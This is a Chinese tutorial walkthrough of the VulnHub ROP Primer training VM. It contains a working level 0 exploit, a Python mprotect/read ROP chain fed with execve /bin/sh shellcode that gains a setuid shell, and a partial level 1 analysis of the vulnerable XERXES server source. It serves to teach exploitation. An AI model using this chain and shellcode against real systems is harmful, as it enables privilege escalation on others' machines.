BoF 理論簡介(2) -ROP
level 0
雖然名為理論,實為實戰,這裡用的靶機是ROP PRIMER: 0.2,網址是ROP Primer: 0.2 ~ VulnHub,網頁說明如下圖:
匯入virtual box後,顯示如下圖:
可以依照網頁提供的帳密(level0/warmup)登入,查看IP跟目錄裡有什麼東西:
用攻擊機nmap掃描一下:
┌──(root㉿kali)-[~]
└─# nmap -p- 192.168.18.195
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-14 23:26 EDT
Nmap scan report for 192.168.18.195
Host is up (0.00035s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
8888/tcp open sun-answerbook
MAC Address: 08:00:27:FD:3C:41 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 25.98 seconds
┌──(root㉿kali)-[~]
└─# nmap -p22,80,8888 -sC -sV -O -A 192.168.18.195
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-14 23:30 EDT
Nmap scan report for 192.168.18.195
Host is up (0.0010s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 af8d26f8ecf9d76516f6d6040d364efe (DSA)
| 2048 d8c70a533a502b98c16edde8681d6ea4 (RSA)
| 256 3d05658d8ce000fe63dfa44377d75332 (ECDSA)
|_ 256 32fea0ab4ad0e5bd66cf5e47ab7ecbb0 (ED25519)
80/tcp open http lighttpd 1.4.33
|_http-server-header: lighttpd/1.4.33
|_http-title: ROP Primer
8888/tcp open sun-answerbook?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, Help, JavaRMI, LSCP, NULL, RPCCheck, RTSPRequest:
| Welcome to
| XERXES File Storage System
| available commands are:
|_ store, read, exit.
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8888-TCP:V=7.93%I=7%D=4/14%Time=643A1A6B%P=x86_64-pc-linux-gnu%r(NU
SF:LL,5A,"Welcome\x20to\x20\n\x20XERXES\x20File\x20Storage\x20System\n\x20
SF:\x20available\x20commands\x20are:\n\x20\x20store,\x20read,\x20exit\.\n\
SF:n>\x20")%r(GetRequest,5D,"Welcome\x20to\x20\n\x20XERXES\x20File\x20Stor
SF:age\x20System\n\x20\x20available\x20commands\x20are:\n\x20\x20store,\x2
SF:0read,\x20exit\.\n\n>\x20\n>\x20")%r(HTTPOptions,5D,"Welcome\x20to\x20\
SF:n\x20XERXES\x20File\x20Storage\x20System\n\x20\x20available\x20commands
SF:\x20are:\n\x20\x20store,\x20read,\x20exit\.\n\n>\x20\n>\x20")%r(FourOhF
SF:ourRequest,60,"Welcome\x20to\x20\n\x20XERXES\x20File\x20Storage\x20Syst
SF:em\n\x20\x20available\x20commands\x20are:\n\x20\x20store,\x20read,\x20e
SF:xit\.\n\n>\x20\n>\x20\n>\x20")%r(JavaRMI,5D,"Welcome\x20to\x20\n\x20XER
SF:XES\x20File\x20Storage\x20System\n\x20\x20available\x20commands\x20are:
SF:\n\x20\x20store,\x20read,\x20exit\.\n\n>\x20\n>\x20")%r(LSCP,5D,"Welcom
SF:e\x20to\x20\n\x20XERXES\x20File\x20Storage\x20System\n\x20\x20available
SF:\x20commands\x20are:\n\x20\x20store,\x20read,\x20exit\.\n\n>\x20\n>\x20
SF:")%r(GenericLines,5D,"Welcome\x20to\x20\n\x20XERXES\x20File\x20Storage\
SF:x20System\n\x20\x20available\x20commands\x20are:\n\x20\x20store,\x20rea
SF:d,\x20exit\.\n\n>\x20\n>\x20")%r(RTSPRequest,5D,"Welcome\x20to\x20\n\x2
SF:0XERXES\x20File\x20Storage\x20System\n\x20\x20available\x20commands\x20
SF:are:\n\x20\x20store,\x20read,\x20exit\.\n\n>\x20\n>\x20")%r(RPCCheck,60
SF:,"Welcome\x20to\x20\n\x20XERXES\x20File\x20Storage\x20System\n\x20\x20a
SF:vailable\x20commands\x20are:\n\x20\x20store,\x20read,\x20exit\.\n\n>\x2
SF:0\n>\x20\n>\x20")%r(DNSVersionBindReqTCP,5D,"Welcome\x20to\x20\n\x20XER
SF:XES\x20File\x20Storage\x20System\n\x20\x20available\x20commands\x20are:
SF:\n\x20\x20store,\x20read,\x20exit\.\n\n>\x20\n>\x20")%r(DNSStatusReques
SF:tTCP,5D,"Welcome\x20to\x20\n\x20XERXES\x20File\x20Storage\x20System\n\x
SF:20\x20available\x20commands\x20are:\n\x20\x20store,\x20read,\x20exit\.\
SF:n\n>\x20\n>\x20")%r(Help,5D,"Welcome\x20to\x20\n\x20XERXES\x20File\x20S
SF:torage\x20System\n\x20\x20available\x20commands\x20are:\n\x20\x20store,
SF:\x20read,\x20exit\.\n\n>\x20\n>\x20");
MAC Address: 08:00:27:FD:3C:41 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 1.03 ms 192.168.18.195
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 164.78 seconds
發現有開80 port,打開網頁來瞧瞧:
先打開level 0來看看:
已經提示可以用mprotect跟read函式來達成目的。由於已知道IP跟帳密且有開22 port,所以用攻擊機連ssh過去(所以level0都是在靶機環境作業的),先查看level 0檔案類型:
level0@rop:~$ file ./level0
./level0: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.26, BuildID[sha1]=fb91c352b4d0f9680d22497e348340fe88d0fdf8, not stripped
接下來查看level 0的保護機制:
level0@rop:~$ gdb ./level0
GNU gdb (GDB) 7.8
Copyright (C) 2014 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-pc-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./level0...(no debugging symbols found)...done.
gdb-peda$ checksec level0
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : disabled
只開啟了NX,滿足可以使用ret2libc技術的條件。接下來算算看要多少字元可以剛好控制EIP,另外還要知道,這是一個執行後會要求使用者輸入的程式:
gdb-peda$ pattern_create 100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
gdb-peda$ r
Starting program: /home/level0/level0
[+] ROP tutorial level0
[+] What's your name?
aaa所以要先r(執行)後,再輸入pattern_create
的輸出:
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL
注意不要連單引號一起餵進去:
gdb-peda$ r
Starting program: /home/level0/level0
[+] ROP tutorial level0
[+] What's your name? AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL
[+] Bet you can't ROP me, AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL!
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x0
ECX: 0xbffff6ac --> 0x80ca720 --> 0xfbad2a84
EDX: 0x80cb690 --> 0x0
ESI: 0x80488e0 (<__libc_csu_fini>: push ebp)
EDI: 0xce303c87
EBP: 0x41304141 ('AA0A')
ESP: 0xbffff700 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
EIP: 0x41414641 ('AFAA')
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414641
[------------------------------------stack-------------------------------------]
0000| 0xbffff700 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0004| 0xbffff704 ("AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0008| 0xbffff708 ("AcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0012| 0xbffff70c ("2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0016| 0xbffff710 ("AAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0020| 0xbffff714 ("A3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0024| 0xbffff718 ("IAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0028| 0xbffff71c ("AA4AAJAAfAA5AAKAAgAA6AAL")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41414641 in ?? ()
查詢0x41414641的offset,再來用vmmap
指令查看各記憶體權限:
gdb-peda$ pattern_offset 0x41414641
1094796865 found at offset: 44
gdb-peda$ vmmap
Start End Perm Name
0x08048000 0x080ca000 r-xp /home/level0/level0
0x080ca000 0x080cb000 rw-p /home/level0/level0
0x080cb000 0x080ef000 rw-p [heap]
0xb7ffd000 0xb7fff000 rw-p mapped
0xb7fff000 0xb8000000 r-xp [vdso]
0xbffdf000 0xc0000000 rw-p [stack]
假設要寫入stack的位置,而stack的大小是0xc0000000 - 0xbffdf000 = 0x21000
查詢mprotect跟read在這程式中的位址:
gdb-peda$ p mprotect
$1 = {<text variable, no debug info>} 0x80523e0 <mprotect>
gdb-peda$ p read
$2 = {<text variable, no debug info>} 0x80517f0 <read>
這裡介紹一個網站: https://syscalls32.paolostivanin.com
這是可以查詢每個linux32位元的函式,它的每一個暫存器該填什麼,下圖是mprotect的暫存器要填的值:
接下來查詢可用的ropgadget,可以想成方便利用的片段,例如pop eax之類的。
gdb-peda$ ropgadget
ret = 0x8048106
addesp_4 = 0x804a278
popret = 0x8048550
pop2ret = 0x8048883
pop4ret = 0x8048881
pop3ret = 0x8048882
addesp_8 = 0x804b7f8
leaveret = 0x804813c
aaa由於接下來要寫python的explout,查一下靶機的python版本:
level0@rop:~$ python
Python 2.7.6 (default, Mar 22 2014, 22:59:38)
[GCC 4.8.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>>
解釋一下下面code。精神是利用mprotect把stack那一段變成可讀可寫可執行,再利用read讀取寫在stack裡的惡意shell code。
首先,mprotect的函式原型(C語言)如下:
int mprotect(void *addr, size_t len, int prot);
其中addr是起始位址,len是要改寫的長度,而prot是需要改寫成怎樣的權限。prot是由以下3個參數的or起來(布林邏輯),比如說需要可讀可寫,就是0x01 | 0x02,所以就是0x03。需要可讀可執行就是0x01 | 0x04,就是0x05。而現在想改成可讀可寫可執行,就是0x07。
#define PROT_READ 0x01 /* page can be read */
#define PROT_WRITE 0x02 /* page can be written */
#define PROT_EXEC 0x04 /* page can be executed */
接下來從payload += p(mpro_fun)開始一直到payload += p(0x7)這一段解釋一下。從剛剛的linux syscall reference,可以知道eax是0x7d,ebx是addr,ecx是長度,edx是0x07。現在已經找到mprotect的位址,所以eax不用管,接下來用pop3ret後,就依序填入ebx、ecx跟edx的值。
而read也是同理,read() 系統呼叫會從 fd (ebx)所參照檔案的當前位置讀取 len (edx)個位元組到 buf (ecx)。這裡edx設為666,是大了點。
level0@rop:~$ cat level0_rop_01.py
import sys
import struct
def p(x):
return struct.pack('<L',x)
mpro_fun = 0x80523e0
read_fun = 0x80517f0
pop3ret = 0x8048882
payload = "\x41" * 44
payload += p(mpro_fun)
payload += p(pop3ret)
payload += p(0xbffdf000)
payload += p(0x21000)
payload += p(0x7)
payload += p(read_fun)
payload += p(0xbffdf000)
payload += p(0x00)
payload += p(0xbffdf000)
payload += p(0x666)
print payload
以下就是把程式的輸出再接到惡意shell code,並把它當作之後程式輸入的辦法:
level0@rop:~$ (python level0_rop_01.py; python -c 'import sys;sys.stdout.write("\xeb\x16\x5e\x31\xd2\x52\x56\x89\xe1\x89\xf3\x31\xc0\xb0\x0b\xcd\x80\x31\xdb\x31\xc0\x40\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68")';cat) | ./level0
[+] ROP tutorial level0
[+] What's your name? [+] Bet you can't ROP me, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒!
xterm-256colorid
/bin/sh: 1: xterm-256colorid: not found
id
uid=1000(level0) gid=1000(level0) euid=1001(level1) groups=1001(level1),1000(level0)
ls
flag level0 level0_rop_01.py peda-session-level0.txt
cat flag
flag{rop_the_night_away}
解釋那個\xeb\x16\x5e\x31...那一段字串,如下,其實就是linux 64位元下執行execve "/bin/sh"
的組合語言。
/*
; Title: Linux/x86 execve "/bin/sh" - shellcode 35 bytes
; Platform: linux/x86_64
; Date: 2014-06-26
; Author: Mohammad Reza Espargham
; Simple ShellCode
section .text:
08048060 <_start>:
8048060: eb 17 jmp 8048079
08048062 :
8048062: 5e pop %esi
8048063: 31 d2 xor %edx,%edx
8048065: 52 push %edx
8048066: 56 push %esi
8048067: 89 e1 mov %esp,%ecx
8048069: 89 f3 mov %esi,%ebx
804806b: 31 c0 xor %eax,%eax
804806d: b0 0b mov $0xb,%al
804806f: cd 80 int $0x80
8048071: 31 db xor %ebx,%ebx
8048073: 31 c0 xor %eax,%eax
8048075: 40 inc %eax
8048076: cd 80 int $0x80
08048078 :
8048078: e8 e5 ff ff ff call 8048062
804807d: 2f das
804807e: 62 69 6e bound %ebp,0x6e(%ecx)
8048081: 2f das
8048082: 73 68 jae 80480ec
*/
把上述的機器碼組合起來就是惡意shell code:
\xeb\x16\x5e\x31\xd2\x52\x56\x89\xe1\x89\xf3\x31\xc0\xb0\x0b\xcd\x80\x31\xdb\x31\xc0\x40\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68
level 1
這一次要在攻擊機上分析執行檔,先安裝pwntools工具:
┌──(root㉿kali)-[/home/kali/LPT_day3]
└─# pip install pwntools
Collecting pwntools
Using cached pwntools-4.9.0-py2.py3-none-any.whl (11.7 MB)
Requirement already satisfied: paramiko>=1.15.2 in /usr/lib/python3/dist-packages (from pwntools) (2.12.0)
Requirement already satisfied: mako>=1.0.0 in /usr/lib/python3/dist-packages (from pwntools) (1.2.4.dev0)
Collecting pyelftools>=0.2.4
Using cached pyelftools-0.29-py2.py3-none-any.whl (174 kB)
Collecting capstone>=3.0.5rc2
Using cached capstone-5.0.0rc2-py3-none-manylinux1_x86_64.manylinux_2_5_x86_64.whl (2.8 MB)
Collecting ropgadget>=5.3
Downloading ROPGadget-7.3-py3-none-any.whl (32 kB)
Requirement already satisfied: pyserial>=2.7 in /usr/lib/python3/dist-packages (from pwntools) (3.5)
Requirement already satisfied: requests>=2.0 in /usr/lib/python3/dist-packages (from pwntools) (2.28.1)
Requirement already satisfied: pip>=6.0.8 in /usr/lib/python3/dist-packages (from pwntools) (23.0.1)
Requirement already satisfied: pygments>=2.0 in /usr/lib/python3/dist-packages (from pwntools) (2.14.0)
Requirement already satisfied: pysocks in /usr/lib/python3/dist-packages (from pwntools) (1.7.1)
Requirement already satisfied: python-dateutil in /usr/lib/python3/dist-packages (from pwntools) (2.8.2)
Requirement already satisfied: packaging in /usr/lib/python3/dist-packages (from pwntools) (23.0)
Collecting psutil>=3.3.0
Using cached psutil-5.9.4-cp36-abi3-manylinux_2_12_x86_64.manylinux2010_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl (280 kB)
Collecting intervaltree>=3.0
Using cached intervaltree-3.1.0.tar.gz (32 kB)
Preparing metadata (setup.py) ... done
Requirement already satisfied: sortedcontainers in /usr/lib/python3/dist-packages (from pwntools) (2.4.0)
Collecting unicorn>=1.0.2rc1
Using cached unicorn-2.0.1.post1-py2.py3-none-manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl (16.1 MB)
Requirement already satisfied: six>=1.12.0 in /usr/lib/python3/dist-packages (from pwntools) (1.16.0)
Collecting rpyc
Downloading rpyc-5.3.1-py3-none-any.whl (74 kB)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 74.0/74.0 kB 878.8 kB/s eta 0:00:00
Collecting colored-traceback
Using cached colored-traceback-0.3.0.tar.gz (3.8 kB)
Preparing metadata (setup.py) ... done
Collecting plumbum
Downloading plumbum-1.8.1-py3-none-any.whl (126 kB)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 126.7/126.7 kB 2.2 MB/s eta 0:00:00
Building wheels for collected packages: intervaltree, colored-traceback
Building wheel for intervaltree (setup.py) ... done
Created wheel for intervaltree: filename=intervaltree-3.1.0-py2.py3-none-any.whl size=26098 sha256=bacae17c5283bd7d1d5ae3c720b62e9ea1d263146570f2a723bf858e43ccf44a
Stored in directory: /root/.cache/pip/wheels/31/d7/d9/eec6891f78cac19a693bd40ecb8365d2f4613318c145ec9816
Building wheel for colored-traceback (setup.py) ... done
Created wheel for colored-traceback: filename=colored_traceback-0.3.0-py3-none-any.whl size=4607 sha256=83551f5a5b2b3c41b3c9e65f2d3c8419573b0706d967959b36b4d434b18d97e3
Stored in directory: /root/.cache/pip/wheels/45/a9/5f/635d7d8d70eb182fd22f2b0bebce713206e172769bea9f106a
Successfully built intervaltree colored-traceback
Installing collected packages: unicorn, pyelftools, psutil, plumbum, intervaltree, colored-traceback, capstone, rpyc, ropgadget, pwntools
Successfully installed capstone-5.0.0rc2 colored-traceback-0.3.0 intervaltree-3.1.0 plumbum-1.8.1 psutil-5.9.4 pwntools-4.9.0 pyelftools-0.29 ropgadget-7.3 rpyc-5.3.1 unicorn-2.0.1.post1
WARNING: Running pip as the 'root' user can result in broken permissions and conflicting behaviour with the system package manager. It is recommended to use a virtual environment instead: https://pip.pypa.io/warnings/venv
點進去level 1的網頁,這一次的提示是用原始碼open/read/write來取得flag:
aaa網頁內也有提供原始碼如下:
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <fcntl.h>
void write_buf(int fd, char *buf)
{
int len = strlen(buf);
write(fd, buf, len);
}
void write_file(char *filename, char *filebuf, int filesize)
{
int f = open(filename, O_RDWR | O_CREAT, S_IRUSR | S_IWUSR);
write(f, filebuf, filesize);
close(f);
}
void handle_conn(int fd)
{
char filename[32], cmd[32];
char text[256];
int read_bytes, filesize;
char str_filesize[7];
// banner
write_buf(fd, "Welcome to \n");
write_buf(fd, " XERXES File Storage System\n");
write_buf(fd, " available commands are:\n");
write_buf(fd, " store, read, exit.\n");
while (1)
{
write_buf(fd, "\n> ");
memset(cmd, 0, sizeof(cmd));
read(fd, cmd, sizeof(cmd));
if (!strncmp(cmd, "store", 5))
{
write_buf(fd, " Please, how many bytes is your file?\n\n");
write_buf(fd, "> ");
memset(str_filesize, 0, sizeof(str_filesize));
read(fd, &str_filesize, 6);
filesize = atoi(str_filesize);
char *filebuf = malloc(filesize);
write_buf(fd, " Please, send your file:\n\n");
write_buf(fd, "> ");
read_bytes = read(fd, filebuf, filesize);
if (read_bytes == filesize)
{
write_buf(fd, " XERXES is pleased to inform you\n that your file was received\n most successfully.\n");
}
else
{
write_buf(fd, " XERXES regrets to inform you\n that an error occurred\n while receiving your file.\n");
}
write_buf(fd, " Please, give a filename:\n");
write_buf(fd, "> ");
memset(filename, 0, sizeof(filename));
read_bytes = read(fd, filename, filesize);
snprintf(text, sizeof(text), " XERXES will store\n this data as '%s'.\n", filename);
write_buf(fd, text);
write_file(filename, filebuf, filesize);
write_buf(fd, " XERXES wishes you\n a NICE day.\n");
return;
}
if (!strncmp(cmd, "read", 4))
{
write_buf(fd, " Please, give a filename to read:\n");
write_buf(fd, "> ");
memset(filename, 0, sizeof(filename));
read_bytes = read(fd, filename, sizeof(filename));
filename[read_bytes-1] = 0;
if (strstr(filename, "flag"))
{
write_buf(fd, " XERXES demands your capture\n or destruction.\n Have a NICE day.\n");
return;
}
int f = open(filename, O_RDONLY);
if (f == -1)
{
write_buf(fd, " XERXES regrets to inform you\n that the requested file cannot be found.\n");
}
char *filebuf = malloc(100000);
read_bytes = read(f, filebuf, 100000);
write(fd, filebuf, read_bytes);
free(filebuf);
write_buf(fd, " XERXES wishes you\n a NICE day.\n");
return;
}
if (!strncmp(cmd, "exit", 4))
{
write_buf(fd, " XERXES wishes you\n a NICE day.\n");
return;
}
}
}
int main(int argc, char **argv)
{
int listenfd = -1, connfd = -1;
struct sockaddr_in serv_addr;
listenfd = socket(AF_INET, SOCK_STREAM, 0);
memset(&serv_addr, 0, sizeof(serv_addr));
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
serv_addr.sin_port = htons(8888);
while (bind(listenfd, (struct sockaddr*)&serv_addr, sizeof(serv_addr)) < 0)
{
printf("[!] error bind()ing!\n");
sleep(1);
printf("[+] retrying bind()\n");
}
listen(listenfd, 10); // 10 = backlog?
while (1)
{
connfd = accept(listenfd, (struct sockaddr*)NULL, NULL);
int pid = fork();
if (pid < 0)
{
printf("[!] error fork()ing!\n");
close(listenfd);
exit(-1);
}
if (pid == 0)
{
close(listenfd);
handle_conn(connfd);
close(connfd);
exit(0);
}
close(connfd);
}
return 0;
}
ssh連進去靶機的level 1,並檢查這程式的安全,跟上題一樣開啟了NX:
┌──(root㉿kali)-[~]
└─# ssh level1@192.168.18.195
level1@192.168.18.195's password:
Welcome to Ubuntu 14.04.1 LTS (GNU/Linux 3.13.0-32-generic i686)
* Documentation: https://help.ubuntu.com/
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
level1@rop:~$ ls -al
total 44
drwxr-xr-x 3 level1 level1 4096 Apr 15 08:26 .
drwxr-xr-x 5 root root 4096 Jan 20 2015 ..
-rw------- 1 level1 level1 0 Mar 4 2015 .bash_history
-rw-r--r-- 1 level1 level1 220 Jan 20 2015 .bash_logout
-rw-r--r-- 1 level1 level1 3637 Jan 20 2015 .bashrc
-rw-rw-r-- 1 level0 level0 0 Mar 5 2015 bleh
drwx------ 2 level1 level1 4096 Apr 15 08:26 .cache
-rw------- 1 level2 level2 53 Jan 20 2015 flag
-rw-r--r-- 1 level1 level1 25 Jan 20 2015 .gdbinit
-rwsr-xr-x 1 level2 level2 9235 Jan 20 2015 level1
-rw-r--r-- 1 level1 level1 675 Jan 20 2015 .profile
level1@rop:~$ gdb ./level1
GNU gdb (GDB) 7.8
Copyright (C) 2014 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-pc-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./level1...(no debugging symbols found)...done.
gdb-peda$ checksec level1
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : disabled
而這程式比較特別,是開啟了監聽port:
level1@rop:~$ netstat -eap
(No info could be read for "-p": geteuid()=1001 but you should be root.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State User Inode PID/Program name
tcp 0 0 *:ssh *:* LISTEN root 8869 -
tcp 0 0 *:8888 *:* LISTEN level2 9082 -
tcp 0 0 *:http *:* LISTEN
8888端口一直處於監聽狀態,且屬於level2用戶,實際打開port監聽後,會發現這就是程式執行的方法:
level1@rop:~$ nc localhost 8888
Welcome to
XERXES File Storage System
available commands are:
store, read, exit.
> read
Please, give a filename to read:
> /home/level1/flag
XERXES demands your capture
or destruction.
Have a NICE day.
通過題目的說明,根據程序源代碼找到漏洞點:漏洞產生的原因為對 char filename[32] 執行了以下操作,而變量 filesize 由用戶輸入,因此會造成溢出
出題者提示通過 level1 二進制文件中的 open/read/write 函數來拿到flag。順藤摸瓜,這里很自然想到處理流程為
1.計算偏移量,溢出
2.執行open,打開flag文件
3.read讀取flag文件內容
4.write將flag寫出
而現在需要把檔案
┌──(root㉿kali)-[/home/kali/LPT_day3]
└─# scp level1@192.168.18.195:level1 /home/kali/LPT_day3
level1@192.168.18.195's password:
level1 100% 9235 2.3MB/s 00:00
┌──(root㉿kali)-[/home/kali/LPT_day3]
└─# ls -l
total 1896
-rw-r--r-- 1 root root 1908226 Feb 22 2021 get-pip.py
-rw-r--r-- 1 root root 6116 Apr 2 00:07 hydra.restore
-rw-r--r-- 1 root root 757 Apr 15 01:27 level0_rop_02.py
-rwxr-xr-x 1 root root 9235 Apr 15 03:08 level1
-rw-r--r-- 1 root root 488 Apr 1 21:51 Passwords-CPENT.txt
-rw-r--r-- 1 root root 301 Apr 1 21:50 Usernames-CPENT.txt
安裝一下peda:
┌──(root㉿kali)-[/home/kali/LPT_day3]
└─# apt install gdb
┌──(root㉿kali)-[/home/kali/LPT_day3]
└─# git clone https://github.com/scwuaptx/peda.git ~/peda
Cloning into '/root/peda'...
remote: Enumerating objects: 580, done.
remote: Total 580 (delta 0), reused 0 (delta 0), pack-reused 580
Receiving objects: 100% (580/580), 440.14 KiB | 2.63 MiB/s, done.
Resolving deltas: 100% (377/377), done.
┌──(root㉿kali)-[/home/kali/LPT_day3]
└─# echo "source ~/peda/peda.py" >> ~/.gdbinit
┌──(root㉿kali)-[/home/kali/LPT_day3]
└─# cp ~/peda/.inputrc ~/
以下也在攻擊機:
┌──(root㉿kali)-[/home/kali/LPT_day3]
└─# gdb ./level1
GNU gdb (Debian 13.1-2) 13.1
Copyright (C) 2023 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
/root/peda/peda.py:46: SyntaxWarning: "is" with a literal. Did you mean "=="?
if sys.version_info.major is 3:
/root/peda/peda.py:4427: SyntaxWarning: "is not" with a literal. Did you mean "!="?
if text[-1] is not '(':
/root/peda/peda.py:4500: SyntaxWarning: "is not" with a literal. Did you mean "!="?
if text[-1] is not '(':
/root/peda/peda.py:6862: SyntaxWarning: "is" with a literal. Did you mean "=="?
if pyversion is 2:
/root/peda/peda.py:6864: SyntaxWarning: "is" with a literal. Did you mean "=="?
if pyversion is 3:
/root/peda/peda.py:6873: SyntaxWarning: "is" with a literal. Did you mean "=="?
if pyversion is 2:
/root/peda/peda.py:6875: SyntaxWarning: "is" with a literal. Did you mean "=="?
if pyversion is 3:
/root/peda/peda.py:6884: SyntaxWarning: "is" with a literal. Did you mean "=="?
if pyversion is 2:
/root/peda/peda.py:6886: SyntaxWarning: "is" with a literal. Did you mean "=="?
if pyversion is 3:
/root/peda/lib/shellcode.py:24: SyntaxWarning: "is" with a literal. Did you mean "=="?
if sys.version_info.major is 3:
/root/peda/lib/shellcode.py:379: SyntaxWarning: "is" with a literal. Did you mean "=="?
if pyversion is 3:
/root/peda/peda.py:46: SyntaxWarning: "is" with a literal. Did you mean "=="?
if sys.version_info.major is 3:
/root/peda/peda.py:4427: SyntaxWarning: "is not" with a literal. Did you mean "!="?
if text[-1] is not '(':
/root/peda/peda.py:4500: SyntaxWarning: "is not" with a literal. Did you mean "!="?
if text[-1] is not '(':
/root/peda/peda.py:6862: SyntaxWarning: "is" with a literal. Did you mean "=="?
if pyversion is 2:
/root/peda/peda.py:6864: SyntaxWarning: "is" with a literal. Did you mean "=="?
if pyversion is 3:
/root/peda/peda.py:6873: SyntaxWarning: "is" with a literal. Did you mean "=="?
if pyversion is 2:
/root/peda/peda.py:6875: SyntaxWarning: "is" with a literal. Did you mean "=="?
if pyversion is 3:
/root/peda/peda.py:6884: SyntaxWarning: "is" with a literal. Did you mean "=="?
if pyversion is 2:
/root/peda/peda.py:6886: SyntaxWarning: "is" with a literal. Did you mean "=="?
if pyversion is 3:
Reading symbols from ./level1...
(No debugging symbols found in ./level1)
gdb-peda$ set follow-fork-mode child
gdb-peda$ checksec level1
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : disabled
攻擊機視窗A:
gdb-peda$ pattern create 100
